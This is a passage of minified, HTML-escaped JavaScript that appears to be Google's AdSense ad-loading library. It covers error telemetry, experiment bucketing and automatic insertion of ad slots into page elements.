0,a[c],c,a)},Ib=Object.assign||function(a,b){for(var c=1;c&lt;arguments.length;c++){var d=arguments[c];if(d)for(var e in d)Gb.call(d,e)&amp;&amp;(a[e]=d[e])}return a},Jb=function(a){return!(!a||!a.call)&amp;&amp;&quot;function&quot;===typeof a},Kb=function(a,b){for(var c=1,d=arguments.length;c&lt;d;++c)a.push(arguments[c])},Lb=function(a,b){if(a.indexOf)return a=a.indexOf(b),0&lt;a||0===a;for(var c=0;c&lt;a.length;c++)if(a[c]===b)return!0;return!1},Mb=function(a){a=Eb(Db(a))||a;a.google_unique_id?++a.google_unique_id:a.google_unique_id=1},Nb=!!window.google_async_iframe_id,Ob=Nb&amp;&amp;window.parent||window,Pb=function(){if(Nb&amp;&amp;!x(Ob)){var a=&quot;.&quot;+wa.domain;try{for(;2&lt;a.split(&quot;.&quot;).length&amp;&amp;!x(Ob);)wa.domain=a=a.substr(a.indexOf(&quot;.&quot;)+1),Ob=window.parent}catch(b){}x(Ob)||(Ob=window)}return Ob},Qb=/(^| )adsbygoogle($| )/,Rb=function(a){a=vb&amp;&amp;a.google_top_window||a.top;return x(a)?a:null};var B=function(a,b){a=a.google_ad_modifications;return Lb(a?a.eids||[]:[],b)},C=function(a,b){a=a.google_ad_modifications;return Lb(a?a.loeids||[]:[],b)},Sb=function(a,b,c){if(!a)return null;for(var d=0;d&lt;a.length;++d)if((a[d].ad_slot||b)==b&amp;&amp;(a[d].ad_tag_origin||c)==c)return a[d];return null};var Tb={overlays:1,interstitials:2,vignettes:2,inserts:3,immersives:4,list_view:5,full_page:6};var Ub=function(a){for(var b=[],c=0,d=0;d&lt;a.length;d++){var e=a.charCodeAt(d);255&lt;e&amp;&amp;(b[c++]=e&amp;255,e&gt;&gt;=8);b[c++]=e}return b};var Vb=w(&quot;Safari&quot;)&amp;&amp;!((w(&quot;Chrome&quot;)||w(&quot;CriOS&quot;))&amp;&amp;!w(&quot;Edge&quot;)||w(&quot;Coast&quot;)||w(&quot;Opera&quot;)||w(&quot;Edge&quot;)||w(&quot;Silk&quot;)||w(&quot;Android&quot;))&amp;&amp;!(w(&quot;iPhone&quot;)&amp;&amp;!w(&quot;iPod&quot;)&amp;&amp;!w(&quot;iPad&quot;)||w(&quot;iPad&quot;)||w(&quot;iPod&quot;));var Wb=null,Xb=null,Yb=w(&quot;Gecko&quot;)&amp;&amp;!(-1!=Za.toLowerCase().indexOf(&quot;webkit&quot;)&amp;&amp;!w(&quot;Edge&quot;))&amp;&amp;!(w(&quot;Trident&quot;)||w(&quot;MSIE&quot;))&amp;&amp;!w(&quot;Edge&quot;)||hb&amp;&amp;!Vb||gb||&quot;function&quot;==typeof l.btoa,Zb=function(a,b){if(!Wb){Wb={};Xb={};for(var c=0;65&gt;c;c++)Wb[c]=&quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=&quot;.charAt(c),Xb[c]=&quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_.&quot;.charAt(c)}b=b?Xb:Wb;c=[];for(var d=0;d&lt;a.length;d+=3){var e=a[d],f=d+1&lt;a.length,g=f?a[d+1]:0,h=d+2&lt;a.length,k=h?a[d+2]:0,m=e&gt;&gt;2;e=(e&amp;3)&lt;&lt;4|g&gt;&gt;4;g=(g&amp;15)&lt;&lt;2|k&gt;&gt;6;k&amp;=63;h||(k=64,f||(g=64));c.push(b[m],b[e],b[g],b[k])}return c.join(&quot;&quot;)};var D=function(){},$b=&quot;function&quot;==typeof Uint8Array,cc=function(a,b,c){a.j=null;b||(b=[]);a.C=void 0;a.s=-1;a.l=b;a:{if(a.l.length){b=a.l.length-1;var d=a.l[b];if(d&amp;&amp;&quot;object&quot;==typeof d&amp;&amp;&quot;array&quot;!=t(d)&amp;&amp;!($b&amp;&amp;d instanceof Uint8Array)){a.v=b-a.s;a.o=d;break a}}a.v=Number.MAX_VALUE}a.A={};if(c)for(b=0;b&lt;c.length;b++)d=c[b],d&lt;a.v?(d+=a.s,a.l[d]=a.l[d]||ac):(bc(a),a.o[d]=a.o[d]||ac)},ac=[],bc=function(a){var b=a.v+a.s;a.l[b]||(a.o=a.l[b]={})},E=function(a,b){if(b&lt;a.v){b+=a.s;var c=a.l[b];return c===ac?a.l[b]=[]:c}if(a.o)return c=a.o[b],c===ac?a.o[b]=[]:c},dc=function(a,b){if(b&lt;a.v){b+=a.s;var c=a.l[b];return c===ac?a.l[b]=[]:c}c=a.o[b];return c===ac?a.o[b]=[]:c},ec=function(a,b,c){a.j||(a.j={});if(!a.j[c]){var d=E(a,c);d&amp;&amp;(a.j[c]=new b(d))}return a.j[c]},fc=function(a,b,c){a.j||(a.j={});if(!a.j[c]){for(var d=dc(a,c),e=[],f=0;f&lt;d.length;f++)e[f]=new b(d[f]);a.j[c]=e}b=a.j[c];b==ac&amp;&amp;(b=a.j[c]=[]);return b},gc=function(a){if(a.j)for(var b in a.j){var c=a.j[b];if(&quot;array&quot;==t(c))for(var d=0;d&lt;c.length;d++)c[d]&amp;&amp;gc(c[d]);else c&amp;&amp;gc(c)}};D.prototype.toString=function(){gc(this);return this.l.toString()};var ic=function(a){cc(this,a,hc)};ua(ic,D);var hc=[4],jc=function(a){cc(this,a,null)};ua(jc,D);var kc=function(a){cc(this,a,null)};ua(kc,D);var mc=function(a){cc(this,a,lc)};ua(mc,D);var lc=[6,7,9,10];var oc=function(a){cc(this,a,nc)};ua(oc,D);var nc=[1,2,5,7],pc=function(a){cc(this,a,null)};ua(pc,D);var rc=function(a){cc(this,a,qc)};ua(rc,D);var qc=[2];var sc=function(a,b,c){c=void 0===c?{}:c;this.error=a;this.context=b.context;this.line=b.line||-1;this.msg=b.message||&quot;&quot;;this.file=b.file||&quot;&quot;;this.id=b.id||&quot;jserror&quot;;this.meta=c};var tc=/^https?:\/\/(\w|-)+\.cdn\.ampproject\.(net|org)(\?|\/|$)/,uc=function(a,b){this.j=a;this.l=b},vc=function(a,b,c){this.url=a;this.j=b;this.oa=!!c;this.depth=r(void 0)?void 0:null};var wc=function(){this.o=&quot;&amp;&quot;;this.s=!1;this.l={};this.v=0;this.j=[]},xc=function(a,b){var c={};c[a]=b;return[c]},zc=function(a,b,c,d,e){var f=[];nb(a,function(a,h){(a=yc(a,b,c,d,e))&amp;&amp;f.push(h+&quot;=&quot;+a)});return f.join(b)},yc=function(a,b,c,d,e){if(null==a)return&quot;&quot;;b=b||&quot;&amp;&quot;;c=c||&quot;,$&quot;;&quot;string&quot;==typeof c&amp;&amp;(c=c.split(&quot;&quot;));if(a instanceof Array){if(d=d||0,d&lt;c.length){for(var f=[],g=0;g&lt;a.length;g++)f.push(yc(a[g],b,c,d+1,e));return f.join(c[d])}}else if(&quot;object&quot;==typeof a)return e=e||0,2&gt;e?encodeURIComponent(zc(a,b,c,d,e+1)):&quot;...&quot;;return encodeURIComponent(String(a))},Ac=function(a,b,c,d){a.j.push(b);a.l[b]=xc(c,d)},Cc=function(a,b,c,d){b=b+&quot;//&quot;+c+d;var e=Bc(a)-d.length;if(0&gt;e)return&quot;&quot;;a.j.sort(function(a,b){return a-b});d=null;c=&quot;&quot;;for(var f=0;f&lt;a.j.length;f++)for(var g=a.j[f],h=a.l[g],k=0;k&lt;h.length;k++){if(!e){d=null==d?g:d;break}var m=zc(h[k],a.o,&quot;,$&quot;);if(m){m=c+m;if(e&gt;=m.length){e-=m.length;b+=m;c=a.o;break}else a.s&amp;&amp;(c=e,m[c-1]==a.o&amp;&amp;--c,b+=m.substr(0,c),c=a.o,e=0);d=null==d?g:d}}a=&quot;&quot;;null!=d&amp;&amp;(a=c+&quot;trn=&quot;+d);return b+a},Bc=function(a){var b=1,c;for(c in a.l)b=c.length&gt;b?c.length:b;return 3997-b-a.o.length-1};var Dc=function(a,b,c,d,e,f){if((d?a.v:Math.random())&lt;(e||a.j))try{if(c instanceof wc)var g=c;else g=new wc,nb(c,function(a,b){var c=g,d=c.v++;a=xc(b,a);c.j.push(d);c.l[d]=a});var h=Cc(g,a.s,a.l,a.o+b+&quot;&amp;&quot;);h&amp;&amp;(&quot;undefined&quot;===typeof f?Fb(h,void 0):Fb(h,f))}catch(k){}};var Ec=function(a,b){this.start=a&lt;b?a:b;this.j=a&lt;b?b:a};var Fc=function(a,b){this.j=b&gt;=a?new Ec(a,b):null},Gc=function(a){var b;try{a.localStorage&amp;&amp;(b=parseInt(a.localStorage.getItem(&quot;google_experiment_mod&quot;),10))}catch(c){return null}if(0&lt;=b&amp;&amp;1E3&gt;b)return b;if(pb())return null;b=Math.floor(1E3*mb(a));try{if(a.localStorage)return a.localStorage.setItem(&quot;google_experiment_mod&quot;,&quot;&quot;+b),b}catch(c){}return null};var Hc=!1,Ic=null,Jc=function(){if(null===Ic){Ic=&quot;&quot;;try{var a=&quot;&quot;;try{a=l.top.location.hash}catch(c){a=l.location.hash}if(a){var b=a.match(/\bdeid=([\d,]+)/);Ic=b?b[1]:&quot;&quot;}}catch(c){}}return Ic},Kc=function(a,b){var c;c=(c=Jc())?(c=c.match(new RegExp(&quot;\\b(&quot;+a.join(&quot;|&quot;)+&quot;)\\b&quot;)))?c[0]:null:null;if(c)a=c;else if(Hc)a=null;else a:{if(!pb()&amp;&amp;(c=Math.random(),c&lt;b)){c=mb(l);a=a[Math.floor(c*a.length)];break a}a=null}return a};var Lc=function(){var a=l.performance;return a&amp;&amp;a.now&amp;&amp;a.timing?Math.floor(a.now()+a.timing.navigationStart):+new Date},Mc=function(){var a=void 0===a?l:a;return(a=a.performance)&amp;&amp;a.now?a.now():null};var Nc=function(a,b,c){this.label=a;this.type=b;this.value=c;this.duration=0;this.uniqueId=this.label+&quot;_&quot;+this.type+&quot;_&quot;+Math.random();this.slotId=void 0};var F=l.performance,Oc=!!(F&amp;&amp;F.mark&amp;&amp;F.measure&amp;&amp;F.clearMarks),Pc=bb(function(){var a;if(a=Oc)a=Jc(),a=!!a.indexOf&amp;&amp;0&lt;=a.indexOf(&quot;1337&quot;);return a}),Rc=function(){var a=Qc;this.events=[];this.l=a||l;var b=null;a&amp;&amp;(a.google_js_reporting_queue=a.google_js_reporting_queue||[],this.events=a.google_js_reporting_queue,b=a.google_measure_js_timing);this.j=Pc()||(null!=b?b:1&gt;Math.random())},Sc=function(a){a&amp;&amp;F&amp;&amp;Pc()&amp;&amp;(F.clearMarks(&quot;goog_&quot;+a.uniqueId+&quot;_start&quot;),F.clearMarks(&quot;goog_&quot;+a.uniqueId+&quot;_end&quot;))};Rc.prototype.start=function(a,b){if(!this.j)return null;var c=Mc()||Lc();a=new Nc(a,b,c);b=&quot;goog_&quot;+a.uniqueId+&quot;_start&quot;;F&amp;&amp;Pc()&amp;&amp;F.mark(b);return a};var Vc=function(){var a=Tc;this.A=Uc;this.s=!0;this.o=null;this.C=this.j;this.l=void 0===a?null:a;this.v=!1},Yc=function(a,b,c,d,e){try{if(a.l&amp;&amp;a.l.j){var f=a.l.start(b.toString(),3);var g=c();var h=a.l;c=f;if(h.j&amp;&amp;r(c.value)){var k=Mc()||Lc();c.duration=k-c.value;var m=&quot;goog_&quot;+c.uniqueId+&quot;_end&quot;;F&amp;&amp;Pc()&amp;&amp;F.mark(m);h.j&amp;&amp;h.events.push(c)}}else g=c()}catch(n){h=a.s;try{Sc(f),h=(e||a.C).call(a,b,new Wc(Xc(n),n.fileName,n.lineNumber),void 0,d)}catch(p){a.j(217,p)}if(!h)throw n}return g},Zc=function(a,b){var c=G;return function(d){for(var e=[],f=0;f&lt;arguments.length;++f)e[f]=arguments[f];return Yc(c,a,function(){return b.apply(void 0,e)},void 0,void 0)}};Vc.prototype.j=function(a,b,c,d,e){e=e||&quot;jserror&quot;;try{var f=new wc;f.s=!0;Ac(f,1,&quot;context&quot;,a);b.error&amp;&amp;b.meta&amp;&amp;b.id||(b=new Wc(Xc(b),b.fileName,b.lineNumber));b.msg&amp;&amp;Ac(f,2,&quot;msg&quot;,b.msg.substring(0,512));b.file&amp;&amp;Ac(f,3,&quot;file&quot;,b.file);0&lt;b.line&amp;&amp;Ac(f,4,&quot;line&quot;,b.line);var g=b.meta||{};if(this.o)try{this.o(g)}catch(da){}if(d)try{d(g)}catch(da){}b=[g];f.j.push(5);f.l[5]=b;g=l;b=[];var h=null;do{d=g;if(x(d)){var k=d.location.href;h=d.document&amp;&amp;d.document.referrer||null}else k=h,h=null;b.push(new vc(k||&quot;&quot;,d));try{g=d.parent}catch(da){g=null}}while(g&amp;&amp;d!=g);k=0;for(var m=b.length-1;k&lt;=m;++k)b[k].depth=m-k;d=l;if(d.location&amp;&amp;d.location.ancestorOrigins&amp;&amp;d.location.ancestorOrigins.length==b.length-1)for(k=1;k&lt;b.length;++k){var n=b[k];n.url||(n.url=d.location.ancestorOrigins[k-1]||&quot;&quot;,n.oa=!0)}var p=new vc(l.location.href,l,!1);m=null;var q=b.length-1;for(n=q;0&lt;=n;--n){var u=b[n];!m&amp;&amp;tc.test(u.url)&amp;&amp;(m=u);if(u.url&amp;&amp;!u.oa){p=u;break}}u=null;var z=b.length&amp;&amp;b[q].url;0!=p.depth&amp;&amp;z&amp;&amp;(u=b[q]);var J=new uc(p,u);J.l&amp;&amp;Ac(f,6,&quot;top&quot;,J.l.url||&quot;&quot;);Ac(f,7,&quot;url&quot;,J.j.url||&quot;&quot;);Dc(this.A,e,f,this.v,c)}catch(da){try{Dc(this.A,e,{context:&quot;ecmserr&quot;,rctx:a,msg:Xc(da),url:J&amp;&amp;J.j.url},this.v,c)}catch(eh){}}return this.s};var Xc=function(a){var b=a.toString();a.name&amp;&amp;-1==b.indexOf(a.name)&amp;&amp;(b+=&quot;: &quot;+a.name);a.message&amp;&amp;-1==b.indexOf(a.message)&amp;&amp;(b+=&quot;: &quot;+a.message);if(a.stack){a=a.stack;var c=b;try{-1==a.indexOf(c)&amp;&amp;(a=c+&quot;\n&quot;+a);for(var d;a!=d;)d=a,a=a.replace(/((https?:\/..*\/)[^\/:]*:\d+(?:.|\n)*)\2/,&quot;$1&quot;);b=a.replace(/\n */g,&quot;\n&quot;)}catch(e){b=c}}return b},Wc=function(a,b,c){sc.call(this,Error(a),{message:a,file:void 0===b?&quot;&quot;:b,line:void 0===c?-1:c})};ia(Wc,sc);var H=function(a){a=void 0===a?&quot;&quot;:a;var b=Error.call(this);this.message=b.message;&quot;stack&quot;in b&amp;&amp;(this.stack=b.stack);this.name=&quot;TagError&quot;;this.message=a?&quot;adsbygoogle.push() error: &quot;+a:&quot;&quot;;Error.captureStackTrace?Error.captureStackTrace(this,H):this.stack=Error().stack||&quot;&quot;};ia(H,Error);var $c=function(a){return 0==(a.error&amp;&amp;a.meta&amp;&amp;a.id?a.msg||Xc(a.error):Xc(a)).indexOf(&quot;TagError&quot;)};var Uc,G,Qc=Pb(),Tc=new Rc,ad=function(a){null!=a&amp;&amp;(Qc.google_measure_js_timing=a);Qc.google_measure_js_timing||(a=Tc,a.j=!1,a.events!=a.l.google_js_reporting_queue&amp;&amp;(Pc()&amp;&amp;Da(a.events,Sc),a.events.length=0))};Uc=new function(){var a=void 0===a?v:a;this.s=&quot;http:&quot;===a.location.protocol?&quot;http:&quot;:&quot;https:&quot;;this.l=&quot;pagead2.googlesyndication.com&quot;;this.o=&quot;/pagead/gen_204?id=&quot;;this.j=.01;this.v=Math.random()};G=new Vc;&quot;complete&quot;==Qc.document.readyState?ad():Tc.j&amp;&amp;Bb(Qc,&quot;load&quot;,function(){ad()});var dd=function(){var a=[bd,cd];G.o=function(b){Da(a,function(a){a(b)})}},ed=function(a,b,c,d){return Yc(G,a,c,d,b)},fd=function(a,b){return Zc(a,b)},gd=G.j,hd=function(a,b,c,d){return $c(b)?(G.v=!0,G.j(a,b,.1,d,&quot;puberror&quot;),!1):G.j(a,b,c,d)},id=function(a,b,c,d){return $c(b)?!1:G.j(a,b,c,d)};var jd=new function(){this.j=[&quot;google-auto-placed&quot;];this.l={google_tag_origin:&quot;qs&quot;}};var kd=function(a,b){a.location.href&amp;&amp;a.location.href.substring&amp;&amp;(b.url=a.location.href.substring(0,200));Dc(Uc,&quot;ama&quot;,b,!0,.01,void 0)};var ld=function(a){cc(this,a,null)};ua(ld,D);var md=null,nd=function(){if(!md){for(var a=l,b=a,c=0;a&amp;&amp;a!=a.parent;)if(a=a.parent,c++,x(a))b=a;else break;md=b}return md};var od={google:1,googlegroups:1,gmail:1,googlemail:1,googleimages:1,googleprint:1},pd=/(corp|borg)\.google\.com:\d+$/,qd=function(){var a=v.google_page_location||v.google_page_url;&quot;EMPTY&quot;==a&amp;&amp;(a=v.google_page_url);if(vb||!a)return!1;a=a.toString();0==a.indexOf(&quot;http://&quot;)?a=a.substring(7,a.length):0==a.indexOf(&quot;https://&quot;)&amp;&amp;(a=a.substring(8,a.length));var b=a.indexOf(&quot;/&quot;);-1==b&amp;&amp;(b=a.length);a=a.substring(0,b);if(pd.test(a))return!1;a=a.split(&quot;.&quot;);b=!1;3&lt;=a.length&amp;&amp;(b=a[a.length-3]in od);2&lt;=a.length&amp;&amp;(b=b||a[a.length-2]in od);return b};var rd=function(a){a=a.document;return(&quot;CSS1Compat&quot;==a.compatMode?a.documentElement:a.body)||{}},I=function(a){return rd(a).clientWidth};var sd=function(a,b){Array.prototype.slice.call(a).forEach(b,void 0)};var td=function(a,b,c,d){this.s=a;this.l=b;this.o=c;this.j=d};td.prototype.toString=function(){return JSON.stringify({nativeQuery:this.s,occurrenceIndex:this.l,paragraphIndex:this.o,ignoreMode:this.j})};var ud=function(a,b){if(null==a.j)return b;switch(a.j){case 1:return b.slice(1);case 2:return b.slice(0,b.length-1);case 3:return b.slice(1,b.length-1);case 0:return b;default:throw Error(&quot;Unknown ignore mode: &quot;+a.j)}},wd=function(a){var b=[];sd(a.getElementsByTagName(&quot;p&quot;),function(a){100&lt;=vd(a)&amp;&amp;b.push(a)});return b},vd=function(a){if(3==a.nodeType)return a.length;if(1!=a.nodeType||&quot;SCRIPT&quot;==a.tagName)return 0;var b=0;sd(a.childNodes,function(a){b+=vd(a)});return b},xd=function(a){return 0==a.length||isNaN(a[0])?a:&quot;\\&quot;+(30+parseInt(a[0],10))+&quot; &quot;+a.substring(1)};var yd=function(a){if(1!=a.nodeType)var b=!1;else if(b=&quot;INS&quot;==a.tagName)a:{b=[&quot;adsbygoogle-placeholder&quot;];a=a.className?a.className.split(/\s+/):[];for(var c={},d=0;d&lt;a.length;++d)c[a[d]]=!0;for(d=0;d&lt;b.length;++d)if(!c[b[d]]){b=!1;break a}b=!0}return b};var zd=function(a,b){for(var c=0;c&lt;b.length;c++){var d=b[c],e=Ua(d.Ga);a[e]=d.value}};var Ad={1:1,2:2,3:3,0:0},Bd=function(a){return null!=a?Ad[a]:a},Cd={1:0,2:1,3:2,4:3};var Dd=function(a,b){if(!a)return!1;a=y(a,b);if(!a)return!1;a=a.cssFloat||a.styleFloat;return&quot;left&quot;==a||&quot;right&quot;==a},Ed=function(a){for(a=a.previousSibling;a&amp;&amp;1!=a.nodeType;)a=a.previousSibling;return a?a:null},Fd=function(a){return!!a.nextSibling||!!a.parentNode&amp;&amp;Fd(a.parentNode)};var Gd=function(a,b){this.j=l;this.v=a;this.s=b;this.o=jd||null;this.l=!1},Id=function(a,b){if(a.l)return!0;try{var c=a.j.localStorage.getItem(&quot;google_ama_settings&quot;);var d=c?new ld(c?JSON.parse(c):null):null}catch(g){d=null}if(c=null!==d)d=E(d,2),c=null==d?!1:d;if(c)return a=a.j.google_ama_state=a.j.google_ama_state||{},a.eatf=!0;c=fc(a.s,mc,1);for(d=0;d&lt;c.length;d++){var e=c[d];if(1==E(e,8)){var f=ec(e,kc,4);if(f&amp;&amp;2==E(f,1)&amp;&amp;Hd(a,e,b))return a.l=!0,a=a.j.google_ama_state=a.j.google_ama_state||{},a.placement=d,!0}}return!1},Hd=function(a,b,c){if(1!=E(b,8))return!1;var d=ec(b,ic,1);if(!d)return!1;var e=E(d,7);if(E(d,1)||E(d,3)||0&lt;dc(d,4).length){var f=E(d,3),g=E(d,1),h=dc(d,4);e=E(d,2);var k=E(d,5);d=Bd(E(d,6));var m=&quot;&quot;;g&amp;&amp;(m+=g);f&amp;&amp;(m+=&quot;#&quot;+xd(f));if(h)for(f=0;f&lt;h.length;f++)m+=&quot;.&quot;+xd(h[f]);e=(h=m)?new td(h,e,k,d):null}else e=e?new td(e,E(d,2),E(d,5),Bd(E(d,6))):null;if(!e)return!1;k=[];try{k=a.j.document.querySelectorAll(e.s)}catch(u){}if(k.length){h=k.length;if(0&lt;h){d=Array(h);for(f=0;f&lt;h;f++)d[f]=k[f];k=d}else k=[];k=ud(e,k);r(e.l)&amp;&amp;(h=e.l,0&gt;h&amp;&amp;(h+=k.length),k=0&lt;=h&amp;&amp;h&lt;k.length?[k[h]]:[]);if(r(e.o)){h=[];for(d=0;d&lt;k.length;d++)f=wd(k[d]),g=e.o,0&gt;g&amp;&amp;(g+=f.length),0&lt;=g&amp;&amp;g&lt;f.length&amp;&amp;h.push(f[g]);k=h}e=k}else e=[];if(0==e.length)return!1;e=e[0];k=E(b,2);k=Cd[k];k=void 0!==k?k:null;if(!(h=null==k)){a:{h=a.j;switch(k){case 0:h=Dd(Ed(e),h);break a;case 3:h=Dd(e,h);break a;case 2:d=e.lastChild;h=Dd(d?1==d.nodeType?d:Ed(d):null,h);break a}h=!1}if(c=!h&amp;&amp;!(!c&amp;&amp;2==k&amp;&amp;!Fd(e)))c=1==k||2==k?e:e.parentNode,c=!(c&amp;&amp;!yd(c)&amp;&amp;0&gt;=c.offsetWidth);h=!c}if(h)return!1;b=ec(b,jc,3);h={};b&amp;&amp;(h.ta=E(b,1),h.ja=E(b,2),h.ya=!!E(b,3));var n;b=a.j;c=a.o;d=a.v;f=b.document;a=f.createElement(&quot;div&quot;);g=a.style;g.textAlign=&quot;center&quot;;g.width=&quot;100%&quot;;g.height=&quot;auto&quot;;g.clear=h.ya?&quot;both&quot;:&quot;none&quot;;h.Aa&amp;&amp;zd(g,h.Aa);f=f.createElement(&quot;ins&quot;);g=f.style;g.display=&quot;block&quot;;g.margin=&quot;auto&quot;;g.backgroundColor=&quot;transparent&quot;;h.ta&amp;&amp;(g.marginTop=h.ta);h.ja&amp;&amp;(g.marginBottom=h.ja);h.xa&amp;&amp;zd(g,h.xa);a.appendChild(f);f.setAttribute(&quot;data-ad-format&quot;,&quot;auto&quot;);h=[];if(g=c&amp;&amp;c.j)a.className=g.join(&quot; &quot;);f.className=&quot;adsbygoogle&quot;;f.setAttribute(&quot;data-ad-client&quot;,d);h.length&amp;&amp;f.setAttribute(&quot;data-ad-channel&quot;,h.join(&quot;+&quot;));a:{try{switch(k){case 0:e.parentNode&amp;&amp;e.parentNode.insertBefore(a,e);break;case 3:var p=e.parentNode;if(p){var q=e.nextSibling;if(q&amp;&amp;q.parentNode!=p)for(;q&amp;&amp;8==q.nodeType;)q=q.nextSibling;p.insertBefore(a,q)}break;case 1:e.insertBefore(a,e.firstChild);break;case 2:e.appendChild(a)}yd(e)&amp;&amp;(e.setAttribute(&quot;data-init-display&quot;,e.style.display),e.style.display=&quot;block&quot;);f.setAttribute(&quot;data-adsbygoogle-status&quot;,&quot;reserved&quot;);p={element:f};(n=c&amp;&amp;c.l)&amp;&amp;(p.params=n);(b.adsbygoogle=b.adsbygoogle||[]).push(p)}catch(u){a&amp;&amp;a.parentNode&amp;&amp;(n=a.parentNode,n.removeChild(a),yd(n)&amp;&amp;(n.style.display=n.getAttribute(&quot;data-init-display&quot;)||&quot;none&quot;));n=!1;break a}n=!0}return n?!0:!1};var Kd=function(){this.l=new Jd(this);this.j=0},Ld=function(a){if(0!=a.j)throw Error(&quot;Already resolved/rejected.&quot;)},Jd=function(a){this.j=a},Md=function(a){switch(a.j.j){case 0:break;case 1:a.ca&amp;&amp;a.ca(a.j.s);break;case 2:a.sa&amp;&amp;a.sa(a.j.o);break;default:throw Error(&quot;Unhandled deferred state.&quot;)}};var Nd=function(a){this.exception=a},Od=function(a,b){this.l=l;this.o=a;this.j=b};Od.prototype.start=function(){this.s()};Od.prototype.s=function(){try{switch(this.l.document.readyState){case &quot;complete&quot;:case &quot;interactive&quot;:Id(this.o,!0);Pd(this);break;default:Id(this.o,!1)?Pd(this):this.l.setTimeout(sa(this.s,this),100)}}catch(a){Pd(this,a)}};var Pd=function(a,b){try{var c=a.j,d=new Nd(b);Ld(c);c.j=1;c.s=d;Md(c.l)}catch(e){a=a.j,b=e,Ld(a),a.j=2,a.o=b,Md(a.l)}};var Qd=function(a){kd(a,{atf:1})},Rd=function(a,b){(a.google_ama_state=a.google_ama_state||{}).exception=b;kd(a,{atf:0})};var Sd=function(){this.wasPlaTagProcessed=!1;this.wasReactiveAdConfigReceived={};this.adCount={};this.wasReactiveAdVisible={};this.stateForType={};this.reactiveTypeEnabledByReactiveTag={};this.isReactiveTagFirstOnPage=this.wasReactiveAdConfigHandlerRegistered=this.wasReactiveTagRequestSent=!1;this.reactiveTypeDisabledByPublisher={};this.debugCard=null;this.messageValidationEnabled=this.debugCardRequested=!1;this.adRegion=this.floatingAdsFillMessage=this.grappleTagStatusService=null};var cd=function(a){try{var b=l.google_ad_modifications;if(null!=b){var c=Ea(b.eids,b.loeids);null!=c&amp;&amp;0&lt;c.length&amp;&amp;(a.eid=c.join(&quot;,&quot;))}}catch(d){}},bd=function(a){a.shv=ub()};G.s=!vb;var Td={9:&quot;400&quot;,10:&quot;100&quot;,11:&quot;0.10&quot;,12:&quot;0.02&quot;,13:&quot;0.001&quot;,14:&quot;300&quot;,15:&quot;100&quot;,19:&quot;0.01&quot;,22:&quot;0.01&quot;,23:&quot;0.2&quot;,24:&quot;0.05&quot;,26:&quot;0.5&quot;,27:&quot;0.001&quot;,28:&quot;0.001&quot;,29:&quot;0.01&quot;,32:&quot;0.02&quot;,34:&quot;0.001&quot;,37:&quot;0.0&quot;,40:&quot;0.15&quot;,42:&quot;0&quot;,43:&quot;0.02&quot;,47:&quot;0.01&quot;,48:&quot;0.2&quot;,49:&quot;0.2&quot;,51:&quot;0.05&quot;,52:&quot;0.1&quot;,54:&quot;800&quot;,55:&quot;200&quot;,56:&quot;0.001&quot;,57:&quot;0.001&quot;,58:&quot;0.02&quot;,60:&quot;0.03&quot;,65:&quot;0.02&quot;,66:&quot;0.0&quot;,67:&quot;0.04&quot;,70:&quot;1.0&quot;,71:&quot;700&quot;,72:&quot;10&quot;,74:&quot;0.03&quot;,75:&quot;true&quot;,76:&quot;0.004&quot;,77:&quot;true&quot;,78:&quot;0.1&quot;,79:&quot;1200&quot;,80:&quot;2&quot;,82:&quot;3&quot;,83:&quot;1.0&quot;,84:&quot;0&quot;,85:&quot;200&quot;,89:&quot;1.0&quot;,90:&quot;0.0&quot;,92:&quot;0.02&quot;,94:&quot;true&quot;,96:&quot;700&quot;,97:&quot;2&quot;,98:&quot;0.01&quot;,99:&quot;600&quot;,100:&quot;100&quot;,101:&quot;false&quot;};var Ud=null,Vd=function(){this.V=Td},K=function(a,b){a=parseFloat(a.V[b]);return isNaN(a)?0:a},Wd=function(){Ud||(Ud=new Vd);return Ud};var Xd={m:&quot;368226200&quot;,u:&quot;368226201&quot;},Yd={m:&quot;368226210&quot;,u:&quot;368226211&quot;},Zd={m:&quot;38893301&quot;,K:&quot;38893302&quot;,T:&quot;38893303&quot;},$d={m:&quot;38893311&quot;,K:&quot;38893312&quot;,T:&quot;38893313&quot;},ae={m:&quot;36998750&quot;,u:&quot;36998751&quot;},be={m:&quot;4089040&quot;,ea:&quot;4089042&quot;},ce={B:&quot;20040067&quot;,m:&quot;20040068&quot;,da:&quot;1337&quot;},de={m:&quot;21060548&quot;,B:&quot;21060549&quot;},ee={m:&quot;21060623&quot;,B:&quot;21060624&quot;},fe={Y:&quot;62710015&quot;,m:&quot;62710016&quot;},ge={Y:&quot;62710017&quot;,m:&quot;62710018&quot;},he={m:&quot;201222021&quot;,D:&quot;201222022&quot;},ie={m:&quot;201222031&quot;,D:&quot;201222032&quot;},L={m:&quot;21060866&quot;,u:&quot;21060867&quot;,U:&quot;21060868&quot;,ua:&quot;21060869&quot;,I:&quot;21060870&quot;,J:&quot;21060871&quot;},je={m:&quot;21060550&quot;,u:&quot;21060551&quot;},ke={m:&quot;332260000&quot;,G:&quot;332260001&quot;,H:&quot;332260002&quot;,F:&quot;332260003&quot;},le={m:&quot;332260004&quot;,G:&quot;332260005&quot;,H:&quot;332260006&quot;,F:&quot;332260007&quot;},me={m:&quot;21060518&quot;,u:&quot;21060519&quot;},ne={m:&quot;21060830&quot;,ha:&quot;21060831&quot;,Z:&quot;21060832&quot;,ga:&quot;21060843&quot;,fa:&quot;21061122&quot;},oe={m:&quot;191880501&quot;,u:&quot;191880502&quot;},pe={m:&quot;21061394&quot;,u:&quot;21061395&quot;},qe={m:&quot;10583695&quot;,u:&quot;10583696&quot;},re={m:&quot;10593695&quot;,u:&quot;10593696&quot;};Hc=!1;var se=new Fc(0,199),te=new Fc(200,399),ue=new Fc(400,599),ve=new Fc(600,699),we=new Fc(700,799),xe=new Fc(800,999);var ze=function(a){var b=Wd();a=ye(a,we,K(b,96),K(b,97),[&quot;182982000&quot;,&quot;182982100&quot;]);if(!a)return{L:&quot;&quot;,M:&quot;&quot;};b={};b=(b[&quot;182982000&quot;]=&quot;182982200&quot;,b[&quot;182982100&quot;]=&quot;182982300&quot;,b)[a];return{L:a,M:b}},Ae=function(a){var 